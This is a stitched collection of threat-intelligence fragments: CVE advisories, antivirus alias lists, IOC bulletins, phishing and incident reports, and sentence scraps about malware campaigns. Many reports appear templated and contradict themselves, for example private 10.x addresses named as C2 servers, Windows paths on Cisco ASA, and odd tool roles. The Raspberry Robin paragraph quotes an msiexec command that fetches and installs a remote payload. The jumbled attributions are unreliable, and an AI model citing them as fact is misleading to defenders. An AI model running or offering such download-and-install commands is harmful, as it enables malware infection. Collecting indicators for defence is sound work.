]com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/30-2/vmware-avi-load-balancer-release-notes/release-notes-for-avi-load-balancer-version-30-2-1.html NoneNoneVMware Avi Load Balancer30.2.2AnyCVE-2025-41233 6.8 hxxps://www[ . ]first[ . ]org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Moderate 30.2.2-2p5 hxxps://techdocs[ . ]broadcom[ . ]com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/30-2/vmware-avi-load-balancer-release-notes/release-notes-for-avi-load-balancer-version-30-2-2.html NoneNoneVMware Avi Load Balancer30.2.3AnyCVE-2025-41233N/AN/AUnaffectedNoneNoneVMware Avi Load Balancer31.1.1AnyCVE-2025-41233 6.8 hxxps://www[ . ]first[ . ]org/cvss/calculator/3-0#CVSS:3.0/AV:N/AC:L/PR:H/UI:N/S:C/C:H/I:N/A:N Moderate 31.1.1-2p2 hxxps://techdocs[ . ]broadcom[ . ]com/us/en/vmware-security-load-balancing/avi-load-balancer/avi-load-balancer/31-1/vmware-avi-load-balancer-release-notes/Release-Note-Section-20627.html NoneNone

CWE-89 in the Avi Load Balancer component of VMware allows an authenticated attacker to execute blind SQL injections in versions 30.1.1, 30.1.2, 30.2.1, and 30.2.2 due to improper input validation, enabling unauthorized database access.


A backdoor also known as: W32.HfsAutoB.186B Worm.Dorkbot.A Backdoor.W32.Padodor.kZnr Trojan/Spy.qukart Win32.Trojan-Spy.Quart.a Backdoor.Berbew!g1 Win32/Webber.W Win32.Qukart BKDR_BERBEW.SMA Win.Trojan.Crypted-36 Trojan-Proxy.Win32.Qukart.vjh Trojan.Win32.Qukart.etuxeg Worm.Win32.Qukart.K BackDoor.HangUp.43784 BKDR_BERBEW.SMA BehavesLike[ . ]Win32[ . ]Backdoor[ . ]cc Trojan.Win32.Senta TrojanProxy.Qukart.tsk Trojan-Proxy.Win32.Qukart.vjh Win-Trojan/Berbew.51712 TrojanProxy.Qukart Trojan-Ransom.Win32.Pornoasset.a


In the Linux kernel, the following vulnerability has been resolved:

af_unix: Get user_ns from in_skb in unix_diag_get_exact().

Wei Chen reported a NULL deref in sk_user_ns() [0][1], and Paolo diagnosed
the root cause: in unix_diag_get_exact(), the newly allocated skb does not
have sk. [2]

We must get the user_ns from the NETLINK_CB(in_skb).sk and pass it to
sk_diag_fill().

[0]:
BUG: kernel NULL pointer dereference, address: 0000000000000270
#PF: supervisor read access in kernel mode
#PF: error_code(0x0000) - not-present page
PGD 12bbce067 P4D 12bbce067 PUD 12bc40067 PMD 0
Oops: 0000 [#1] PREEMPT SMP
CPU: 0 PID: 27942 Comm: syz-executor.0 Not tainted 6.1.0-rc5-next-20221118 #2
Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS
rel-1[ . ]13[ . ]0-48-gd9c812dda519-prebuilt[ . ]qemu[ . ]org 04/01/2014
RIP: 0010:sk_user_ns include/net/sock.h:920 [inline]
RIP: 0010:sk_diag_dump_uid net/unix/diag.c:119 [inline]
RIP: 0010:sk_diag_fill+0x77d/0x890 net/unix/diag.c:170
Code: 89 ef e8 66 d4 2d fd c7 44 24 40 00 00 00 00 49 8d 7c 24 18 e8
54 d7 2d fd 49 8b 5c 24 18 48 8d bb 70 02 00 00 e8 43 d7 2d fd <48> 8b
9b 70 02 00 00 48 8d 7b 10 e8 33 d7 2d fd 48 8b 5b 10 48 8d
RSP: 0018:ffffc90000d67968 EFLAGS: 00010246
RAX: ffff88812badaa48 RBX: 0000000000000000 RCX: ffffffff840d481d
RDX: 0000000000000465 RSI: 0000000000000000 RDI: 0000000000000270
RBP: ffffc90000d679a8 R08: 0000000000000277 R09: 0000000000000000
R10: 0001ffffffffffff R11: 0001c90000d679a8 R12: ffff88812ac03800
R13: ffff88812c87c400 R14: ffff88812ae42210 R15: ffff888103026940
FS:  00007f08b4e6f700(0000) GS:ffff88813bc00000(0000) knlGS:0000000000000000
CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
CR2: 0000000000000270 CR3: 000000012c58b000 CR4: 00000000003506f0
DR0: 0000000000000000 DR1: 0000000000000000 DR2: 0000000000000000
DR3: 0000000000000000 DR6: 00000000fffe0ff0 DR7: 0000000000000400
Call Trace:
 <TASK>
 unix_diag_get_exact net/unix/diag.c:285 [inline]
 unix_diag_handler_dump+0x3f9/0x500 net/unix/diag.c:317
 __sock_diag_cmd net/core/sock_diag.c:235 [inline]
 sock_diag_rcv_msg+0x237/0x250 net/core/sock_diag.c:266
 netlink_rcv_skb+0x13e/0x250 net/netlink/af_netlink.c:2564
 sock_diag_rcv+0x24/0x40 net/core/sock_diag.c:277
 netlink_unicast_kernel net/netlink/af_netlink.c:1330 [inline]
 netlink_unicast+0x5e9/0x6b0 net/netlink/af_netlink.c:1356
 netlink_sendmsg+0x739/0x860 net/netlink/af_netlink.c:1932
 sock_sendmsg_nosec net/socket.c:714 [inline]
 sock_sendmsg net/socket.c:734 [inline]
 ____sys_sendmsg+0x38f/0x500 net/socket.c:2476
 ___sys_sendmsg net/socket.c:2530 [inline]
 __sys_sendmsg+0x197/0x230 net/socket.c:2559
 __do_sys_sendmsg net/socket.c:2568 [inline]
 __se_sys_sendmsg net/socket.c:2566 [inline]
 __x64_sys_sendmsg+0x42/0x50 net/socket.c:2566
 do_syscall_x64 arch/x86/entry/common.c:50 [inline]
 do_syscall_64+0x2b/0x70 arch/x86/entry/common.c:80
 entry_SYSCALL_64_after_hwframe+0x63/0xcd
RIP: 0033:0x4697f9
Code: f7 d8 64 89 02 b8 ff ff ff ff c3 66 0f 1f 44 00 00 48 89 f8 48
89 f7 48 89 d6 48 89 ca 4d 89 c2 4d 89 c8 4c 8b 4c 24 08 0f 05 <48> 3d
01 f0 ff ff 73 01 c3 48 c7 c1 bc ff ff ff f7 d8 64 89 01 48
RSP: 002b:00007f08b4e6ec48 EFLAGS: 00000246 ORIG_RAX: 000000000000002e
RAX: ffffffffffffffda RBX: 000000000077bf80 RCX: 00000000004697f9
RDX: 0000000000000000 RSI: 00000000200001c0 RDI: 0000000000000003
RBP: 00000000004d29e9 R08: 0000000000000000 R09: 0000000000000000
R10: 0000000000000000 R11: 0000000000000246 R12: 000000000077bf80
R13: 0000000000000000 R14: 000000000077bf80 R15: 00007ffdb36bc6c0
 </TASK>
Modules linked in:
CR2: 0000000000000270

[1]: hxxps://lore[.]kernel[.]org/netdev/CAO4mrfdvyjFpokhNsiwZiP-wpdSD0AStcJwfKcKQdAALQ9_2Qw@mail.gmail.com/
[2]: hxxps://lore[.]kernel[.]org/netdev/e04315e7c90d9a75613f3993c2baf2d344eef7eb.camel@redhat.com/


A backdoor also known as: Trojan.VBKrypt Spyware.Pony Downloader.Ponik TSPY_HPFAREIT.SMB Trojan.Win32.VBKrypt.ymio Trojan.Win32.VBKrypt.evkxoj Trojan.VBKrypt.Win32.291698 BehavesLike[ . ]Win32[ . ]Fareit[ . ]ch Trojan.VBKrypt.cgbs TR/Dropper.VB.ocnhj Trojan.Win32.VBKrypt.ymio Trojan/Win32.VBKrypt.R213345 Trojan.VBKrypt Trj/GdSda.A Win32.Trojan.Vbkrypt.Amwf Trojan.VBKrypt!wORN5qK9fN4 Trojan.VB.Crypt W32/FareitVB.BEOK!tr


A backdoor also known as: W32.HackerAu3.Worm Win32.Worm.Autoit.Q Backdoor.Win32.Shark.axz!O Worm.Autoit.i Win32.Worm.Autoit.Q Worm.AutoIt.Win32.2 W32/AutoRun.fjx WORM_UTOTI.RC Win32[ . ]Worm[ . ]Sohanad[ . ]br W32/Downloader.AEEC-3989 W32.SillyDC Win32/Vishawon.A WORM_UTOTI.RC Worm.Win32.AutoIt.i Win32.Worm.Autoit.Q Trojan.Script.AutoIt.delira Worm.Win32.Autorun.215552.B Win32.Virus.Alman.Svhc Win32.Worm.Autoit.Q Worm.Win32.AutoIt.~MT Win32.HLLW.Autoruner.1483 W32/Downldr2.AICJ Worm/AutoRun.jsl W32/Almanahe.C Win32.Worm.Autoit.Q W32.W.AutoRun.lbrr Worm.Win32.AutoIt.i Win32.Worm.Autoit.Q Trojan/Win32.AutoRun.C97057 Worm.AutoRun.FLD I-Worm.Autoit.AC Win32/Autoit.BA Worm.AutoIT.V Worm.Win32.AutoIt W32/AutoIt.I!worm Win32/Worm.c3b


A stored cross-site scripting (XSS) issue in Envira Gallery Lite before 1[.]8[.]3[.]3 allows remote attackers to inject arbitrary JavaScript/HTML code via a POST /wp-admin/admin-ajax.php request with the meta[title] parameter.


IOC Bulletin - StealC Campaign:
Network Indicators:
- 10 [ . ] 29 [ . ] 133 [ . ] 205
- 192[.]51[.]237[.]114
- 172 [ . ] 206 [ . ] 82 [ . ] 73
- updatebackup[ . ]live
- auth-cloud[.]com
URLs:
- hxxp://backupdata[.]org/api/v2/auth
- hxxps://mailportal[ . ]live/api/v2/auth
Email Senders:
- account@secure-verify[ . ]net
- security@credential-check[ . ]site
File Indicators:
- SHA256: 2cd488bb63a988ae9c8c029834e01204e97499b657da48bc01dd61a44aab7683
- SHA1: 0fdaa964028c5ef9893258ca8e6687d66245a61b
- Drop path: /etc/cron.d/implant.so


Phishing Campaign Report: Dragos identified a large-scale phishing operation. Emails originated from noreply@urgent-notice[.]online and admin@secure-verify[ . ]net, spoofing legitimate services. Victims were directed to hxxps://backup-auth[ . ]cc/assets/js/payload.js which hosted a credential harvesting page on sync-backup[ . ]online. A secondary link hxxps://databackup[ . ]net/download/update.exe delivered Latrodectus (MD5: 0f175b09deb346d508073b6526611520). The malware was saved to /home/user/.config/payload.bin and established C2 with 10 [ . ] 43 [ . ] 114 [ . ] 6.


Cargo is a package manager for the rust programming language. After a package is downloaded, Cargo extracts its source code in the ~/.cargo folder on disk, making it available to the Rust projects it builds. To record when an extraction is successful, Cargo writes "ok" to the .cargo-ok file at the root of the extracted source code once it extracted all the files. It was discovered that Cargo allowed packages to contain a .cargo-ok symbolic link, which Cargo would extract. Then, when Cargo attempted to write "ok" into .cargo-ok, it would actually replace the first two bytes of the file the symlink pointed to with ok. This would allow an attacker to corrupt one file on the machine using Cargo to extract the package. Note that by design Cargo allows code execution at build time, due to build scripts and procedural macros. The vulnerabilities in this advisory allow performing a subset of the possible damage in a harder to track down way. Your dependencies must still be trusted if you want to be protected from attacks, as it's possible to perform the same attacks with build scripts and procedural macros. The vulnerability is present in all versions of Cargo. Rust 1.64, to be released on September 22nd, will include a fix for it. Since the vulnerability is just a more limited way to accomplish what a malicious build scripts or procedural macros can do, we decided not to publish Rust point releases backporting the security fix. Patch files are available for Rust 1.63.0 are available in the wg-security-response repository for people building their own toolchain.
Mitigations We recommend users of alternate registries to exercise care in which package they download, by only including trusted dependencies in their projects. Please note that even with these vulnerabilities fixed, by design Cargo allows arbitrary code execution at build time thanks to build scripts and procedural macros: a malicious dependency will be able to cause damage regardless of these vulnerabilities. crates[.]io implemented server-side checks to reject these kinds of packages years ago, and there are no packages on crates[.]io exploiting these vulnerabilities. crates[.]io users still need to exercise care in choosing their dependencies though, as remote code execution is allowed by design there as well.


Phishing Campaign Report: CISA identified a large-scale phishing operation. Emails originated from alert@urgent-notice[ . ]online and ceo@credential-check[ . ]site, spoofing legitimate services. Victims were directed to hxxps://staticapi[ . ]online/login which hosted a credential harvesting page on staticapi[ . ]info. A secondary link hxxps://cdnnode[ . ]live/secure/token delivered PlugX (MD5: 6614f59fa687faa7ddd8cf4afbf1e59b). The malware was saved to /usr/local/bin/beacon.dll and established C2 with 172[.]109[.]182[.]198.


Phishing Campaign Report: Proofpoint identified a large-scale phishing operation. Emails originated from verify@account-update[.]xyz and helpdesk@mail-service[ . ]info, spoofing legitimate services. Victims were directed to hxxp://gatewaystorage[.]link/panel/index.html which hosted a credential harvesting page on backupedge[ . ]tech. A secondary link hxxps://cachesync[ . ]online/download/update.exe delivered Play (SHA256: 65d18eb1c2f37aff3af81ac0355b74658e21a7362383bed1532995d3f68fe96f). The malware was saved to C:\Program Files\Common Files\dropper.ps1 and established C2 with 172 [ . ] 239 [ . ] 88 [ . ] 51.


Malware Analysis Report: WarmCookie (MD5: 8e7d05464f9b5f901edcc20575df2b85). Upon execution on Windows 11, the sample creates C:\Program Files\Common Files\sam.hive and injects into legitimate processes. Network analysis shows beaconing to 134[.]39[.]77[.]45 every 60 seconds and DNS queries to nodestatic[.]link. The second stage was fetched from hxxps://storage-portal[.]online/panel/index.html and written to C:\Windows\Temp\update.dll. The payload uses ADFind-style techniques for defense evasion. A secondary hash (MD5: 3aaa1ea6f7b163c41ed0dd810307d601) was extracted from the unpacked payload.


Deserialization of Untrusted Data, Improper Input Validation vulnerability in Apache UIMA Java SDK, Apache UIMA Java SDK, Apache UIMA Java SDK, Apache UIMA Java SDK.This issue affects Apache UIMA Java SDK: before 3.5.0.

Users are recommended to upgrade to version 3.5.0, which fixes the issue.

There are several locations in the code where serialized Java objects are deserialized without verifying the data. This affects in particular:
  *  the deserialization of a Java-serialized CAS, but also other binary CAS formats that include TSI information using the CasIOUtils class;
  *  the CAS Editor Eclipse plugin which uses the the CasIOUtils class to load data;
  *  the deserialization of a Java-serialized CAS of the Vinci Analysis Engine service which can receive using Java-serialized CAS objects over network connections;
  *  the CasAnnotationViewerApplet and the CasTreeViewerApplet;
  *  the checkpointing feature of the CPE module.

Note that the UIMA framework by default does not start any remotely accessible services (i.e. Vinci) that would be vulnerable to this issue. A user or developer would need to make an active choice to start such a service. However, users or developers may use the CasIOUtils in their own applications and services to parse serialized CAS data. They are affected by this issue unless they ensure that the data passed to CasIOUtils is not a serialized Java object.

When using Vinci or using CasIOUtils in own services/applications, the unrestricted deserialization of Java-serialized CAS files may allow arbitrary (remote) code execution.

As a remedy, it is possible to set up a global or context-specific ObjectInputFilter (cf.  hxxps://openjdk[ . ]org/jeps/290  and  hxxps://openjdk[ . ]org/jeps/415 ) if running UIMA on a Java version that supports it.

Note that Java 1.8 does not support the ObjectInputFilter, so there is no remedy when running on this out-of-support platform. An upgrade to a recent Java version is strongly recommended if you need to secure an UIMA version that is affected by this issue.

To mitigate the issue on a Java 9+ platform, you can configure a filter pattern through the "jdk.serialFilter" system property using a semicolon as a separator:

To allow deserializing Java-serialized binary CASes, add the classes:
  *  org.apache.uima.cas.impl.CASCompleteSerializer
  *  org.apache.uima.cas.impl.CASMgrSerializer
  *  org.apache.uima.cas.impl.CASSerializer
  *  java.lang.String

To allow deserializing CPE Checkpoint data, add the following classes (and any custom classes your application uses to store its checkpoints):
  *  org.apache.uima.collection.impl.cpm.CheckpointData
  *  org.apache.uima.util.ProcessTrace
  *  org.apache.uima.util.impl.ProcessTrace_impl
  *  org.apache.uima.collection.base_cpm.SynchPoint

Make sure to use "!*" as the final component to the filter pattern to disallow deserialization of any classes not listed in the pattern.

Apache UIMA 3.5.0 uses tightly scoped ObjectInputFilters when reading Java-serialized data depending on the type of data being expected. Configuring a global filter is not necessary with this version.


com.bbt.cmol com.sovereign.santander com.mtb.mbanking.sc.retail.prod com.fi9293.godough com.commbank.netbank org.westpac.bank org.stgeorge.bank au.com.nab.mobile au.com.bankwest.mobile au.com.ingdirect.android org.banksa.bank com.anz.android com.anz.android.gomoney com[.]citibank[.]mobile[.]au org.bom.bank com.latuabancaperandroid In addition to stealing keystrokes , Naikon also intercepted network traffic . Rancor : 199[.]247[.]6[.]253 . Note : The default log rotation configuration on NetScaler allows 25 files per log type ( e.g. , ns.log ) and 100 Kilobytes per log , therefore recording 2.5 megabytes in total .


A backdoor also known as: Trojan.Killav Downloader.Betload.Win32.51 Win32.Trojan.WisdomEyes.16070401.9500.9783 Trojan[.]Win32[.]KillAV[.]me Troj.W32.SchoolGirl.tnx1 Trojan.Win32.Killav BehavesLike.Win32.Downloader.lh Trojan[.]Win32[.]KillAV[.]me Trojan.Win32.Killav BAT/KillAV.NCO Win32.Trojan.Killav.Pgwh PUA.Bat.Hoax W32/KillAV[.]ME!tr Win32/Trojan.ba9


According to SpiderLabs, in May 2015 the "company" Quaverse offered a RAT known as Quaverse RAT or QRAT. At around May 2016, this QRAT evolved into another RAT which became known as Qarallax RAT, because its C2 is at qarallax[.]com. Quaverse also offers a service to encrypt Java payloads (Qrypter), and thus qrypted payloads are sometimes confused with Quaverse RATs (QRAT / Qarallax RAT).


Phishing Campaign Report: Rapid7 identified a large-scale phishing operation. Emails originated from billing@login-portal[.]tech and security@document-share[.]link, spoofing legitimate services. Victims were directed to hxxps://mailauth[ . ]tech/download/update.exe which hosted a credential harvesting page on cdnnode[.]tech. A secondary link hxxps://relayedge[ . ]top/callback delivered BatLoader (MD5: 7ba3bfb6e2a77aaa1f02ffaa51991d9a). The malware was saved to /tmp/dropper.ps1 and established C2 with 172[.]223[.]244[.]35.


The “ idXXXXX[ . ]top ” pattern immediately stands out and may suggest a pattern in the static configuration for the initial domains used by the DGA for Nymaim since the previous two started with “ ejX[ . ]com .


Lookout said in its own blog post published Wednesday that its threat detection network has recently observed a surge of Shedun attacks , indicating the scourge wo n't be going away any time soon . The researchers found that there are common elements in the macro and in the first- stage RAT used in this campaign , with former campaigns of the NICKEL ACADEMY ( Lazarus ) threat group . APT33 : 192 [ . ] 119 [ . ] 15 [ . ] 35 [REDACTED][ . ]ddns[ . ]net . The threat actor cleared Windows Event Logs on affected backend Exchange servers so further information was not available regarding the PowerShell commands leveraged by the threat actors .


Incident Response Summary: On detection of anomalous traffic to 43[.]241[.]225[.]109, the CISA IR team identified Amadey running as C:\Users\admin\Downloads\backdoor.elf. The threat actor, believed to be Lazarus Group, used Chisel for credential harvesting and Ligolo for lateral movement. Exfiltrated data was sent to gatewayapi[.]link and staticedge[.]org. The initial dropper (MD5: a60826193610bf0ce9276cd92197e17b) was delivered via a phishing email from finance@identity-verify[ . ]cc. A second C2 node was observed at 195 [ . ] 79 [ . ] 246 [ . ] 6, with a persistence mechanism writing to C:\Users\admin\Desktop\sam.hive.


Phishing Campaign Report: Europol identified a large-scale phishing operation. Emails originated from confirm@account-update[ . ]xyz and alert@auth-check[.]org, spoofing legitimate services. Victims were directed to hxxp://cache-secure[ . ]dev/callback which hosted a credential harvesting page on cdncloud[ . ]net. A secondary link hxxp://proxy-update[ . ]site/download/update.exe delivered Play (SHA256: e8f1fb5a2924602e7ee92872875651fa2afbac836c2e5695e0332bccc89f33cf). The malware was saved to C:\Users\admin\AppData\Local\Temp\agent.py and established C2 with 2[.]94[.]77[.]12.


The new SOL protocol within the PLATINUM file-transfer tool makes use of the AMT Technology SDK 's Redirection Library API ( imrsdk.dll ) . To mitigate the threat of the described campaign , security teams can consider blocking access to the C2 server 103 [ . ] 236 [ . ] 150 [ . ] 14 and , where applicable , ensure that the Microsoft Security Update KB2553204 is installed in order to patch the CVE-2017-11882 vulnerability .


A backdoor also known as: W32.VBKryptPS.Trojan Trojan/W32[.]VBKrypt[.]147456[.]CC Downldr.Umbald.S624840 Trojan.VBKrypt.Win32.179340 Troj.W32.VBKrypt.tpcC Trojan/VBKrypt.mhte Win32.Trojan.WisdomEyes.16070401.9500.9970 W32/VBTrojan.Dropper.4!Maximus Trojan.VBKrypt Trojan.Win32.VBKrypt.xabo Trojan.Win32.Umbra.efkzrr Trojan.Win32.A.VBKrypt.147456.YW BackDoor.Umbra.10 W32/VBTrojan.Dropper.4!Maximus Trojan/VBKrypt.hmyy Trojan/Win32.VBKrypt Win32.Troj.VBKrypt.kcloud TrojanDownloader:Win32/Umbald.A Trojan.Symmi.DD60 Trojan.Win32.VBKrypt.xabo Trojan/Win32.Jorik.R27694 Trojan.Crypt Win32/Delf.AVY W32/VBKrypt.MBSX!tr


Trend of the year : mobile banking Trojans 2013 was marked by a rapid rise in the number of Android banking Trojans . TClient , for instance , uses DLL hijacking and injection that may not be as noticeable to others . The path to wmplayer[ . ]exe is provided by the Config module . Additionally , Mandiant has observed the use of the SoftPerfect network scanner ( netscan.exe ) to perform internal network enumeration .


The address , 176[.]31[.]112[.]10 , is a dedicated server provided by the French OVH hosting company , but is apparently operated by an offshore secure hosting company called CrookServers.com .


Blog Post by INTERPOL: Tracking FIN7's Latest Operations. Our research team has uncovered a new campaign leveraging CVE-2025-38077 against Atlassian Confluence deployments. The initial access vector involves spear-phishing emails from alert@document-share[ . ]link delivering BumbleBee. Post-compromise, the attackers deploy QakBot and use Seatbelt for reconnaissance. C2 infrastructure includes 10[.]190[.]99[.]225 and staticproxy[.]tech. A staging server at hxxp://cache-portal[.]link/panel/index.html hosts additional tooling. Key artifact: C:\Users\admin\Desktop\svchost.exe (SHA256: 7c438a6638a18b87b6145c9a3bdbf0395687ba6e0f234ec9418a7b3dfa27d9a8).


The c2 domain ( khanji[.]ddns[.]net ) was also found to be associated with multiple malware samples in the past , Some of these malware samples made connection to pastebin urls upon execution , which is similar to the behavior mentioned previously .


Incident Response Summary: On detection of anomalous traffic to 172[.]140[.]179[.]31, the SentinelOne IR team identified DarkSide running as C:\Windows\Temp\config.dat. The threat actor, believed to be UNC2452, used LinPEAS for credential harvesting and Covenant for lateral movement. Exfiltrated data was sent to api-secure[.]club and secure-storage[ . ]cc. The initial dropper (SHA1: 0b8c9dc8a90fc5c67f5b61b229ffde436e391735) was delivered via a phishing email from updates@secure-verify[ . ]net. A second C2 node was observed at 120[.]44[.]237[.]23, with a persistence mechanism writing to C:\Windows\Temp\runtime.dll.


IOC Bulletin - Qbot Campaign:
Network Indicators:
- 198[.]86[.]80[.]219
- 151 [ . ] 89 [ . ] 140 [ . ] 145
- 84[.]82[.]107[.]202
- proxysync[.]top
- login-cdn[.]live
URLs:
- hxxps://synccdn[.]online/login
- hxxps://apistorage[ . ]cc/download/update.exe
Email Senders:
- finance@account-update[ . ]xyz
- contact@document-share[ . ]link
File Indicators:
- SHA256: 6f3229bcedc97881aedb5e037f951f137189732eb7d4e559ef7ccc558e158f85
- SHA1: 273b7b83f3593d2c35b90c9c6c451e51c981ef61
- Drop path: /opt/app/bin/beacon.dll


Vulnerability Advisory: CVE-2026-39735 is a critical CSRF vulnerability affecting Ivanti Connect Secure. CISA confirmed active exploitation by Sandworm in the wild. Exploitation delivers Hive (MD5: b999e3d6dc449a21df718d3763c1da50) which is dropped to C:\Users\admin\Desktop\config.dat. The exploit payload is hosted at hxxps://cloud-auth[ . ]io/secure/token and communicates to 181 [ . ] 219 [ . ] 129 [ . ] 128 for C2.


Vulnerability Advisory: CVE-2021-16078 is a critical type confusion affecting Palo Alto PAN-OS. NSA confirmed active exploitation by Scattered Spider in the wild. Exploitation delivers AsyncRAT (SHA1: 42023d94ec9303e6f3d8010c1b5b3aad166d85dd) which is dropped to /var/tmp/beacon.dll. The exploit payload is hosted at hxxp://edgeupdate[ . ]link/wp-content/uploads/doc.php and communicates to 75 [ . ] 20 [ . ] 59 [ . ] 62 for C2.


In the Linux kernel, the following vulnerability has been resolved:

drm/amdgpu/fence: Fix oops due to non-matching drm_sched init/fini

Currently amdgpu calls drm_sched_fini() from the fence driver sw fini
routine - such function is expected to be called only after the
respective init function - drm_sched_init() - was executed successfully.

Happens that we faced a driver probe failure in the Steam Deck
recently, and the function drm_sched_fini() was called even without
its counter-part had been previously called, causing the following oops:

amdgpu: probe of 0000:04:00.0 failed with error -110
BUG: kernel NULL pointer dereference, address: 0000000000000090
PGD 0 P4D 0
Oops: 0002 [#1] PREEMPT SMP NOPTI
CPU: 0 PID: 609 Comm: systemd-udevd Not tainted 6.2.0-rc3-gpiccoli #338
Hardware name: Valve Jupiter/Jupiter, BIOS F7A0113 11/04/2022
RIP: 0010:drm_sched_fini+0x84/0xa0 [gpu_sched]
[...]
Call Trace:
 <TASK>
 amdgpu_fence_driver_sw_fini+0xc8/0xd0 [amdgpu]
 amdgpu_device_fini_sw+0x2b/0x3b0 [amdgpu]
 amdgpu_driver_release_kms+0x16/0x30 [amdgpu]
 devm_drm_dev_init_release+0x49/0x70
 [...]

To prevent that, check if the drm_sched was properly initialized for a
given ring before calling its fini counter-part.

Notice ideally we'd use sched.ready for that; such field is set as the latest
thing on drm_sched_init(). But amdgpu seems to "override" the meaning of such
field - in the above oops for example, it was a GFX ring causing the crash, and
the sched.ready field was set to true in the ring init routine, regardless of
the state of the DRM scheduler. Hence, we ended-up using sched.ops as per
Christian's suggestion [0], and also removed the no_scheduler check [1].

[0] hxxps://lore[ . ]kernel[ . ]org/amd-gfx/984ee981-2906-0eaf-ccec-9f80975cb136@amd.com/
[1] hxxps://lore[.]kernel[.]org/amd-gfx/cd0e2994-f85f-d837-609f-7056d5fb7231@amd.com/


Malware Analysis Report: RemcosRAT (MD5: 6bf753ff87824ec41bf2cf9ab26860ba). Upon execution on Cisco ASA, the sample creates /usr/local/bin/winlogon.exe and injects into legitimate processes. Network analysis shows beaconing to 172 [ . ] 187 [ . ] 7 [ . ] 112 every 60 seconds and DNS queries to login-cache[ . ]org. The second stage was fetched from hxxp://auth-update[ . ]site/download/update.exe and written to /tmp/svchost.exe. The payload uses PowerShell Empire-style techniques for defense evasion. A secondary hash (SHA1: 4974b26a59a7276f5b6620322e45110f1565bfc1) was extracted from the unpacked payload.


This vulnerability allows remote attackers to disclose sensitive information on affected installations of Foxit Studio Photo 3[.]6[.]6[.]922. User interaction is required to exploit this vulnerability in that the target must visit a malicious page or open a malicious file. The specific flaw exists within the parsing of CR2 files. The issue results from the lack of proper validation of user-supplied data, which can result in a read past the end of an allocated structure. An attacker can leverage this in conjunction with other vulnerabilities to execute code in the context of the current process. Was ZDI-CAN-11434.


A backdoor also known as: Backdoor/W32.Amitis.827392 Backdoor.Amitis!GgBFlh0m/G4 W32/Amitis.MXVV-8538 Backdoor.Amitis Win32/Amitis.13 BKDR_AMITIS.B Trojan.Amitis.13-B Backdoor.Win32.Amitis.13 Trojan.Win32.Amitis.dbhy Backdoor.Win32.S.Amitis.827392.A[h] Backdoor.W32.Amitis.13!c Backdoor.Win32.Amitis.13 BackDoor.Amitist.13 Backdoor.Amitis.Win32.17 BKDR_AMITIS.B BehavesLike[.]Win32[.]Downloader[.]ch W32/Amitis.N@bd Backdoor/Amitis.p W32/Amitis.C!tr Trojan[Backdoor]/Win32.Amitis Win-Trojan/Amitis.827392 Backdoor:Win32/Amitis.1_3 Win32/Amitis.13 Backdoor.Amitis Win32.Backdoor.Amitis.Akfc Backdoor.Win32.Amitis BackDoor.Amitis.G Backdoor.Win32.Amitis.13


Artifact Analysis for Amadey campaign:
Stage 1 dropper at /usr/local/bin/runtime.dll - MD5: 5accbf6e241cdb2e8427a7afef730fc1
Stage 2 loader at /etc/cron.d/ntds.dit - SHA256: 51c0a4886999a2bcf0cc017844b996cdb666eb3d69a54709f566ef60160ed6af
Final payload at /tmp/runtime.dll - SHA1: d9845ac72966f6cfc937cb89388af51c2712c944
Exfiltration module - MD5: d148c2d45a862c3a6dabee5048770a9c
All stages communicated with 152 [ . ] 43 [ . ] 124 [ . ] 188. Chisel signatures detected in Stage 2.


Raspberry Robin is a worm that spreads via infected USB drives and has been linked to threat actor DEV-0856. The malware uses msiexec.exe to download payloads from compromised QNAP NAS devices. Observed C2 domains include q0[ . ]fo, t1[ . ]cx, and v0[.]cx. The malware drops files to C:\Users\Public\Libraries\ and C:\Windows\Temp\. Initial infection uses cmd.exe to launch msiexec with URLs like msiexec /q /i hxxp://q0[ . ]fo/b.msi. Related hashes include SHA256 7e6a2b21548ee7446c9a3e9ac3e3e93c8b06b110d2a1cea16e976e3be1e758a2 and MD5 4b41e2e5a3f44a95bfe6d0d2b6e0c1d7. The malware has been observed deploying Cobalt Strike, IcedID, and Bumblebee as secondary payloads. It communicates through Tor exit nodes at 185[.]220[.]101[.]34 and 185 [ . ] 220 [ . ] 101 [ . ] 58.


Sets file creation timestamp to that of “ %SYSTEM%\sfc[ . ]dll ” .


We 've seen this actor rely heavily on phishing campaigns to trick victims into downloading their malicious apps , specifically on Facebook . The DeltaCharlie DDoS bot was originally reported by Novetta in their 2016 Operation Blockbuster Malware Report . However, starting from 7Zip version 9.34 (next available installer after version 9.22) up to its latest version 19.0, 7zip saw and was able to extract the image file order[ . ]jpg . Second , as COSMICENERGY was potentially developed as part of a red team , this discovery suggests that the barriers to entry are lowering for offensive OT threat activity since we normally observe these types of capabilities limited to well resourced or state sponsored actors .


] databit [ . The Mofang group has been active in relation to the Kyaukphyu sez . status[ . ]acmetoy[ . ]com /DD/ myScript[ . ]js or status[ . ]acmetoy[ . ]com /DD/ css[.]css . On March 2 , 2021 , Microsoft released a blog post that detailed multiple zero - day vulnerabilities used to attack on - premises versions of Microsoft Exchange Server .


id=eu.chainfire.supersu ) tool 246[.]us us.x SuperSU ELF binaries supersu.cfg supersu.cfg.ju supersu.cfg.old SuperSU configs with spyware implant mention bb.txt BusyBox v1.26.2 ELF file bdata.xml Config file for excluding malware components from Android battery saver feature Doze bdatas.apk Main implant module com.android.network.irc.apk Start implant module MobileManagerService.apk ASUS firmware system component ( clean ) mobilemanager.apk


Incident Response Summary: On detection of anomalous traffic to 172[.]85[.]17[.]246, the Zscaler ThreatLabz IR team identified AgentTesla running as C:\Users\admin\Downloads\csrss.exe. The threat actor, believed to be BlackTech, used Mythic for credential harvesting and Sharphound for lateral movement. Exfiltrated data was sent to portalupdate[.]net and storage-gateway[ . ]link. The initial dropper (SHA256: b2962e6ba6d3b7effc326bea469b4c19a9470d7ac8f0c0ec11f14e2542198393) was delivered via a phishing email from it@auth-check[ . ]org. A second C2 node was observed at 151[.]209[.]150[.]155, with a persistence mechanism writing to /var/tmp/chrome_helper.exe.


